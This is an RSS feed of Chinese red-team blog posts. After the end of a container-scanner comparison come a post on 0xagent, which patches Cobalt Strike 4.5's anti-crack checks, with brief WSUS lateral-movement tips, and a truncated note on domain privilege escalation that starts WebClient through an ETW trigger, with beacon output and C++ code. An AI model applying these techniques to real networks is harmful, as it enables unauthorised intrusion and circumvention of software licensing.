xerrors.Errorf(<span class="code-snippet__string">&#34;failed to calculate a merged key: %w&#34;</span>, err)</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> b, err := a.cache.GetBlob(mergedKey); err == <span class="code-snippet__literal">nil</span> {</span></code><code><span class="code-snippet_outer">      <span class="code-snippet__keyword">return</span> b.ToArtifactDetail(), <span class="code-snippet__literal">nil</span></span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">var</span> layers []types.BlobInfo</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">for</span> _, key := <span class="code-snippet__keyword">range</span> layerKeys {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">// 查看每一个layer是否含有缓存</span></span></code><code><span class="code-snippet_outer">    blob, _ := a.cache.GetBlob(key) <span class="code-snippet__comment">// nolint</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> blob.SchemaVersion == <span class="code-snippet__number">0</span> {</span></code><code><span class="code-snippet_outer">      <span class="code-snippet__keyword">return</span> types.ArtifactDetail{}, xerrors.Errorf(<span class="code-snippet__string">&#34;layer cache missing: %s&#34;</span>, key)</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    layers = <span class="code-snippet__built_in">append</span>(layers, blob)</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  mergedLayer := ApplyLayers(layers)</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">if</span> mergedLayer.OS == <span class="code-snippet__literal">nil</span> {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">return</span> mergedLayer, analyzer.ErrUnknownOS <span class="code-snippet__comment">// send back package and apps info regardless</span></span></code><code><span class="code-snippet_outer">  } <span class="code-snippet__keyword">else</span> <span class="code-snippet__keyword">if</span> mergedLayer.Packages == <span class="code-snippet__literal">nil</span> {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">return</span> mergedLayer, analyzer.ErrNoPkgsDetected <span class="code-snippet__comment">// send back package and apps info regardless</span></span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">// 查看镜像是否被缓存</span></span></code><code><span class="code-snippet_outer">  imageInfo, _ := a.cache.GetArtifact(imageID) <span class="code-snippet__comment">// nolint</span></span></code><code><span class="code-snippet_outer">  mergedLayer.HistoryPackages = imageInfo.HistoryPackages</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__comment">// Store the merged layer if the feature is enabled</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">if</span> a.cacheMergedLayer {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> err := a.cache.PutBlob(mergedKey, mergedLayer.ToBlobInfo()); err != <span class="code-snippet__literal">nil</span> {</span></code><code><span class="code-snippet_outer">      log.Logger.Error(<span class="code-snippet__string">&#34;Unable to cache the merged layer: %s&#34;</span>, err)</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">return</span> mergedLayer, <span class="code-snippet__literal">nil</span></span></code></pre></section><p style="box-sizing: border-box;outline: 0px;margin-top: 0.5em;margin-bottom: 1em;max-width: 100%;overflow: auto;color: rgb(85, 85, 85);font-family: &#34;Varela Round&#34;, Menlo, Monaco, monospace, &#34;Lucida Console&#34;, sans-serif, &#34;Source Sans Pro&#34;, &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Hiragino Sans GB W3&#34;, &#34;Source Han Sans CN Regular&#34;, &#34;WenQuanYi Micro Hei&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;white-space: normal;background-color: rgb(255, 255, 255);">这使得trivy下一次再扫描相似的镜像或者对应镜像中包含相同layer的hash值的情况下速度会特别快。可以看到trivy在<code>/pkg/commands/artifact/run.go</code>中的scan函数跟进去之后对于layer的整理做了许多关于Blob的操作，这也是trivy在镜像扫描中速度占有极大优势的原因之一。</p><p style="box-sizing: border-box;outline: 0px;margin-top: 0.5em;margin-bottom: 1em;max-width: 100%;overflow: auto;color: rgb(85, 85, 85);font-family: &#34;Varela Round&#34;, Menlo, Monaco, monospace, &#34;Lucida Console&#34;, sans-serif, &#34;Source Sans Pro&#34;, &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Hiragino Sans GB W3&#34;, &#34;Source Han Sans CN Regular&#34;, &#34;WenQuanYi Micro Hei&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;white-space: normal;background-color: rgb(255, 255, 255);"><br/></p><p style="box-sizing: border-box;outline: 0px;margin-top: 0.5em;margin-bottom: 1em;max-width: 100%;overflow: auto;color: rgb(85, 85, 85);font-family: &#34;Varela Round&#34;, Menlo, Monaco, monospace, &#34;Lucida Console&#34;, sans-serif, &#34;Source Sans Pro&#34;, &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Hiragino Sans GB W3&#34;, &#34;Source Han Sans CN Regular&#34;, &#34;WenQuanYi Micro Hei&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;white-space: normal;background-color: rgb(255, 255, 255);"><strong>0X03 Vesta</strong></p><p style="box-sizing: border-box;outline: 0px;margin-top: 0.5em;margin-bottom: 1em;max-width: 100%;overflow: auto;color: rgb(85, 85, 85);font-family: &#34;Varela Round&#34;, Menlo, Monaco, monospace, &#34;Lucida Console&#34;, sans-serif, &#34;Source Sans Pro&#34;, &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Hiragino Sans GB W3&#34;, &#34;Source Han Sans CN Regular&#34;, &#34;WenQuanYi Micro Hei&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;white-space: normal;background-color: rgb(255, 255, 255);">在编写Vesta的过程中，其对镜像中的分层解析与以上两个成熟的扫描器基本相同，同样以镜像ID作为输入参数为例，vesta的解析流程如下</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js"><code><span class="code-snippet_outer">通过Docker cli拿到存储镜像的文件句柄 -&gt; 将文件句柄解压到临时文件夹中 -&gt; 将每一层的layer统一解压到制定的文件夹中 -&gt; 分析供应链组建信息 -&gt; 删除文件夹</span></code></pre></section><p style="box-sizing: border-box;outline: 0px;margin-top: 0.5em;margin-bottom: 1em;max-width: 100%;overflow: auto;color: rgb(85, 85, 85);font-family: &#34;Varela Round&#34;, Menlo, Monaco, monospace, &#34;Lucida Console&#34;, sans-serif, &#34;Source Sans Pro&#34;, &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Hiragino Sans GB W3&#34;, &#34;Source Han Sans CN Regular&#34;, &#34;WenQuanYi Micro Hei&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;white-space: normal;background-color: rgb(255, 255, 255);"><span style="color: rgb(85, 85, 85);font-family: &#34;Varela Round&#34;, Menlo, Monaco, monospace, &#34;Lucida Console&#34;, sans-serif, &#34;Source Sans Pro&#34;, &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Hiragino Sans GB W3&#34;, &#34;Source Han Sans CN Regular&#34;, &#34;WenQuanYi Micro Hei&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;text-align: start;background-color: rgba(61, 197, 80, 0.1);"></span></p><p style="box-sizing: border-box;outline: 0px;margin-top: 0.5em;margin-bottom: 1em;max-width: 100%;overflow: auto;color: rgb(85, 85, 85);font-family: &#34;Varela Round&#34;, Menlo, Monaco, monospace, &#34;Lucida Console&#34;, sans-serif, &#34;Source Sans Pro&#34;, &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Hiragino Sans GB W3&#34;, &#34;Source Han Sans CN Regular&#34;, &#34;WenQuanYi Micro Hei&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;white-space: normal;background-color: rgb(255, 255, 255);">在对每一个Layer解压的过程中忽略对文件大小超过1GB的文件的判断，从而避免因为容器为机器学习训练容器而导致的对超大训练文件的解压，但是此处依旧无法操作Docker Cli进行dump的过程中忽略这些文件，因此后续有待改进，vesta的文件layer解压非常简单</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="go"><code><span class="code-snippet_outer"><span class="code-snippet__comment">// Walk ignore the file which is vert large</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">func</span> <span class="code-snippet__title">Walk</span><span class="code-snippet__params">(tarReader *tar.Reader, path <span class="code-snippet__keyword">string</span>)</span> <span class="code-snippet__title">error</span></span> {</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">for</span> hdr, err := tarReader.Next(); err != io.EOF; hdr, err = tarReader.Next() {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> err != <span class="code-snippet__literal">nil</span> {</span></code><code><span class="code-snippet_outer">      <span class="code-snippet__keyword">return</span> err</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    extractFile := filepath.Join(path, hdr.Name)</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">// ignore the file larger than 1GB</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> hdr.Size &gt; <span class="code-snippet__number">1073741824</span> {</span></code><code><span class="code-snippet_outer">      <span class="code-snippet__keyword">continue</span></span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">switch</span> hdr.Typeflag {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">case</span> tar.TypeDir:</span></code><code><span class="code-snippet_outer">      <span class="code-snippet__keyword">if</span> !exists(extractFile) {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> err := os.MkdirAll(extractFile, <span class="code-snippet__number">0775</span>); err != <span class="code-snippet__literal">nil</span> {</span></code><code><span class="code-snippet_outer">          <span class="code-snippet__keyword">return</span> err</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">      }</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">case</span> tar.TypeReg:</span></code><code><span class="code-snippet_outer">      file, err := os.OpenFile(extractFile, os.O_CREATE|os.O_RDWR, os.FileMode(hdr.Mode))</span></code><code><span class="code-snippet_outer">      <span class="code-snippet__keyword">if</span> err != <span class="code-snippet__literal">nil</span> {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">continue</span></span></code><code><span class="code-snippet_outer">      }</span></code><code><span class="code-snippet_outer">      _, err = io.Copy(file, tarReader)</span></code><code><span class="code-snippet_outer">      <span class="code-snippet__keyword">if</span> err != <span class="code-snippet__literal">nil</span> {</span></code><code><span class="code-snippet_outer">        log.Printf(<span class="code-snippet__string">&#34;file %s can not extract: %v&#34;</span>, hdr.Name, err)</span></code><code><span class="code-snippet_outer">      }</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">default</span>:</span></code><code><span class="code-snippet_outer">      <span class="code-snippet__comment">// ignore</span></span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">return</span> <span class="code-snippet__literal">nil</span></span></code><code><span class="code-snippet_outer">}</span></code></pre></section><h3 style="box-sizing: border-box;outline: 0px;margin-top: 1.5em;margin-bottom: 1em;font-feature-settings: &#34;dlig&#34;, &#34;liga&#34;, &#34;lnum&#34;, &#34;kern&#34;;text-rendering: geometricprecision;font-size: 19.2px;font-family: &#34;Varela Round&#34;, Menlo, Monaco, monospace, &#34;Lucida Console&#34;, sans-serif, &#34;Source Sans Pro&#34;, &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Hiragino Sans GB W3&#34;, &#34;Source Han Sans CN Regular&#34;, &#34;WenQuanYi Micro Hei&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(34, 34, 34);text-align: start;white-space: normal;background-color: rgb(255, 255, 255);">为什么vesta的解压要落地成文件，而trivy, claircore不落地？</h3><ul style="outline: 0px;margin-bottom: 1em;margin-left: 10px;padding-left: 10px;font-size: 15.2px;list-style: initial;color: rgb(85, 85, 85);font-family: &#34;Varela Round&#34;, Menlo, Monaco, monospace, &#34;Lucida Console&#34;, sans-serif, &#34;Source Sans Pro&#34;, &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Hiragino Sans GB W3&#34;, &#34;Source Han Sans CN Regular&#34;, &#34;WenQuanYi Micro Hei&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="box-sizing: border-box;outline: 0px;list-style: initial;"><p>vesta镜像分析增加了对container和image两个文件类型的适配，而一个运行的容器dump出来的tar文件就是一个完整的系统文件，并没有layer文件。同时后期考虑qcow2，img等文件格式的处理，此处统一输出成文件从而方便后续调用。</p></li><li style="box-sizing: border-box;outline: 0px;list-style: initial;"><p>后期vesta也考虑增加文件内容合规检查，例如MySQL的密码配置文件，是否存在某些恶意文件等，短时间多次进行文件查找，因此转换成文件使用Linux文件树</p></li><li style="box-sizing: border-box;outline: 0px;list-style: initial;"><p>目前还在对比缓存使用与内存占用量</p></li></ul><p style="box-sizing: border-box;outline: 0px;margin-top: 0.5em;margin-bottom: 1em;max-width: 100%;overflow: auto;color: rgb(85, 85, 85);font-family: &#34;Varela Round&#34;, Menlo, Monaco, monospace, &#34;Lucida Console&#34;, sans-serif, &#34;Source Sans Pro&#34;, &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Hiragino Sans GB W3&#34;, &#34;Source Han Sans CN Regular&#34;, &#34;WenQuanYi Micro Hei&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;white-space: normal;background-color: rgb(255, 255, 255);"> </p><p style="box-sizing: border-box;outline: 0px;margin-top: 0.5em;margin-bottom: 1em;max-width: 100%;overflow: auto;color: rgb(85, 85, 85);font-family: &#34;Varela Round&#34;, Menlo, Monaco, monospace, &#34;Lucida Console&#34;, sans-serif, &#34;Source Sans Pro&#34;, &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Hiragino Sans GB W3&#34;, &#34;Source Han Sans CN Regular&#34;, &#34;WenQuanYi Micro Hei&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;white-space: normal;background-color: rgb(255, 255, 255);">此外，读者同时也能发现，三个layer整合方法都不约而同地利用了fs.WalkDir进行文件的查找，笔者认为，利用Linux的成熟的文件树查找算法要比单纯的进行tar压缩包文件查找效率要高很多，这也是vesta落地文件的原因之一。</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="ruby"><code><span class="code-snippet_outer">项目地址: <span class="code-snippet__symbol">https:</span>/<span class="code-snippet__regexp">/github.com/kvesta</span><span class="code-snippet__regexp">/vesta</span></span></code></pre></section><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247483739">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=bcf1ba49&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkyMjMxOTI2MA%3D%3D%26mid%3D2247483739%26idx%3D1%26sn%3D6ddc89d65f4db27291747fc4e1ea8d90%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sun, 01 Jan 2023 16:28:00 +0800</pubDate>
    </item>
    <item>
      <title>0xagent Patch for 4.5</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkyMjMxOTI2MA==&amp;mid=2247483727&amp;idx=1&amp;sn=18c915a3ba6eb7a2588892f346769c9d</link>
      <description>4.5 发布已经有相当一段时间了，前不久刚拿到jar。听说暗桩的东西很多，看了一下对比之前的版本确实是这样的</description>
      <content:encoded><![CDATA[<p>
原创 <span>秋水 &amp;amp; 0x00</span> <span>2022-05-09 09:00</span> <span style="display: inline-block;">北京</span>
</p>

<p>4.5 发布已经有相当一段时间了，前不久刚拿到jar。听说暗桩的东西很多，看了一下对比之前的版本确实是这样的</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=a64c4537&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F1OyozcSJjmBImefKkDAeLGAyvicE5uI0hbsdWxzcuibia7anAyIibaGq5xULpZMBBjpxoucrrN8aR23EbMajx4S2NQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><br/></p><p>4.5 发布已经有相当一段时间了，前不久刚拿到jar。闲时看了一下，对比之前的版本而言，暗桩增加了不少。<br/></p><p><br/></p><p>大概就两个点：</p><p><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">1.一个是</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">Beacon</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">内部</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">几个函数的</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">校验</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">应该和watermark的计算有关系，没细看，从redcore那里</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">看了一下修改方法也是patch一下</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">opcde。</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"></span></p><p><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">2.第二个就是大面积的对javaagent的判断然后 System.exit()，或者返回一个bool值给后续逻辑进行判断。<br/></span></p><p><br/></p><p>其实通过agent来patch是最简单的，我使用的方法比较暴力直接，把<span style="color: rgb(3, 47, 98);background-color: rgb(255, 255, 255);font-family: Menlo, monospace;font-size: 9pt;">s</span><span style="color: rgb(3, 47, 98);background-color: rgb(255, 255, 255);font-family: Menlo, monospace;font-size: 9pt;">un/management/VMManagementImpl.</span><span style="color: rgb(3, 47, 98);background-color: rgb(255, 255, 255);font-family: Menlo, monospace;font-size: 9pt;">getVmArg</span><span style="color: rgb(3, 47, 98);background-color: rgb(255, 255, 255);font-family: Menlo, monospace;font-size: 9pt;">ument</span><span style="color: rgb(3, 47, 98);background-color: rgb(255, 255, 255);font-family: Menlo, monospace;font-size: 9pt;">s </span>拿vm启动参数这个函数直接返回必要的参数，那些agent之类的参数也不会被CS拿到，且也不影响我们正常使用。</p><p>增加的代码也不过10行左右。</p><p><br/></p><p>0xagent: <a href="https://github.com/Like0x/0xagent" target="_blank">https://github.com/Like0x/0xagent</a></p><p><br/></p><p><span style="font-size: 20px;"><strong><span style="font-size: 20px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">Other</span></strong></span><br/></p><p><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">再聊聊前几天老外发的一个SharpWSUS，WSUS利用之前我和龙哥在项目中实战踩坑过。</span></p><p><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">整体来说没有太大利用难度，唯一需要注意的坑点是在下发过程中请设置一下deadline，否则可能等到项目结束都还没安装好，原本之前想发一下文章记录一下的，也没时间写了。<br/></span></p>



<p><a href="2247483727">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=44f23bc6&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkyMjMxOTI2MA%3D%3D%26mid%3D2247483727%26idx%3D1%26sn%3D18c915a3ba6eb7a2588892f346769c9d%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 09 May 2022 09:00:00 +0800</pubDate>
    </item>
    <item>
      <title>TIPS: Elevate Privileges via WebClient in Domain Computer</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkyMjMxOTI2MA==&amp;mid=2247483720&amp;idx=1&amp;sn=e22640bd968e7e3801c9ba0a6b12a025</link>
      <description>炒一下冷饭：Elevate Privileges via WebClient in Domain Computer</description>
      <content:encoded><![CDATA[<p>
原创 <span>秋水 &amp;amp; 0x00</span> <span>2022-02-26 17:55</span> <span style="display: inline-block;"></span>
</p>

<p>炒一下冷饭：Elevate Privileges via WebClient in Domain Computer</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=b267f9c6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F1OyozcSJjmCfgOvnDtfr7BItaHRZD0hTicibybgEnerTT4LmZ09FhsKJrXkIRXSoLl9tl7MWDRzAorFoNFkzKsLw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="min-height: 24px;">炒一下冷饭，本文指的是在符合条件的域机器上进行<code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;background-color: rgba(0, 0, 0, 0.06);border-width: 1px;border-style: solid;border-color: rgba(0, 0, 0, 0.08);border-radius: 2px;padding-right: 2px;padding-left: 2px;">LPE</code>。</p><p style="min-height: 24px;"><br/></p><p style="min-height: 24px;">那么我们利用的就是大家所熟知的 <code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;background-color: rgba(0, 0, 0, 0.06);border-width: 1px;border-style: solid;border-color: rgba(0, 0, 0, 0.08);border-radius: 2px;padding-right: 2px;padding-left: 2px;">WebClient</code>，关于WebClient的利用很多情况会结合relay进行一些攻击活动或用来进行权限提升。</p><p style="min-height: 24px;"><br/></p><p style="min-height: 24px;">比如我们熟知的 WebClient + Relay + RBCD Attack Chain 的方法（扫一下还是有不少情况下能扫到的），这里说的是利用 WebClient 进行 提权，还是<code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;background-color: rgba(0, 0, 0, 0.06);border-width: 1px;border-style: solid;border-color: rgba(0, 0, 0, 0.08);border-radius: 2px;padding-right: 2px;padding-left: 2px;">@龙崽</code>教的好。其实说的也是差不多的一个东西。这两天刚好在实战中用到了，就算自己记录一下。</p><p style="min-height: 24px;"><br/></p><p style="min-height: 24px;"><br/></p><p style="min-height: 24px;">场景：</p><ul class="list-paddingleft-2" style="padding-left: 23px;"><li><p>一台已控制域机器（存在WebClient服务）</p></li><li><p>普通域用户权限</p></li></ul><p style="min-height: 24px;"><br/></p><p style="min-height: 24px;">该方法进行权限提升的条件既是WebClient服务必须是运行状态。默认情况下 Windows Server 系的操作系统是没有默认安装WebClient的（实战中也碰到不少由管理员手动安装好的）。那么Windows Client系的操作系统默认是安装好了，但是并没有被启用。</p><p style="min-height: 24px;"><br/></p><pre data-language="c" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);">beacon&gt; sc_query webclient<br/>[*] Running sc_query<br/>[+] host called home, sent: 5074 bytes<br/>[+] received output:<br/>SERVICE_NAME: webclient<br/>	TYPE                 : 32 WIN32_SHARED<br/>	STATE                : 1 STOPPED<br/>	WIN32_EXIT_CODE      : 1077<br/>	SERVICE_EXIT_CODE    : 0<br/>	CHECKPOINT           : 0<br/>	WAIT_HINT            : 0<br/>	PID                  : 0<br/>	Flags                : 0</pre><h2 style="font-size: 24px;line-height: 32px;margin-top: 21px;margin-bottom: 5px;">Start WebClient</h2><p style="min-height: 24px;">常规的 sc 开启会提示权限拒绝</p><p style="min-height: 24px;"><img class="rich_pages wxw-img" data-ratio="0.29545454545454547" width="528" data-type="png" data-w="528" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=2b33104c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1OyozcSJjmCfgOvnDtfr7BItaHRZD0hTnWDz7KSVbxUJGZwyZiaj7RhS6MVn6reAyFhSTDKI3tB2uFMhxRh4ibtA%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;">因为WebClient 使用了 Service Trigger 的方式注册，所以我们可以用ETW触发 WebClient 事件，以普通用户开启此服务。</p><p style="min-height: 24px;"><br/></p><p style="min-height: 24px;">早在15年该方法就已经被提出 </p><p style="min-height: 24px;"><a href="https://www.tiraniddo.dev/2015/03/starting-webclient-service.html" target="_blank">https://www.tiraniddo.dev/2015/03/starting-webclient-service.html</a></p><p style="min-height: 24px;"><br/></p><p style="min-height: 24px;">当然还有更多的服务可以使用此方法触发开启。</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cpp"><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">bool</span> <span class="code-snippet__title">StartWebClientService</span><span class="code-snippet__params">()</span></span></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">const</span> GUID _MS_Windows_WebClntLookupServiceTrigger_Provider =</span></code><code><span class="code-snippet_outer">        { <span class="code-snippet__number">0x22B6D684</span>, <span class="code-snippet__number">0xFA63</span>, <span class="code-snippet__number">0x4578</span>, </span></code><code><span class="code-snippet_outer">        { <span class="code-snippet__number">0x87</span>, <span class="code-snippet__number">0xC9</span>, <span class="code-snippet__number">0xEF</span>, <span class="code-snippet__number">0xFC</span>, <span class="code-snippet__number">0xBE</span>, <span class="code-snippet__number">0x66</span>, <span class="code-snippet__number">0x43</span>, <span class="code-snippet__number">0xC7</span> } };</span></code><code><span class="code-snippet_outer">    REGHANDLE Handle;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">bool</span> success = <span class="code-snippet__literal">false</span>;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> (EventRegister(&amp;_MS_Windows_WebClntLookupServiceTrigger_Provider,</span></code><code><span class="code-snippet_outer">        <span 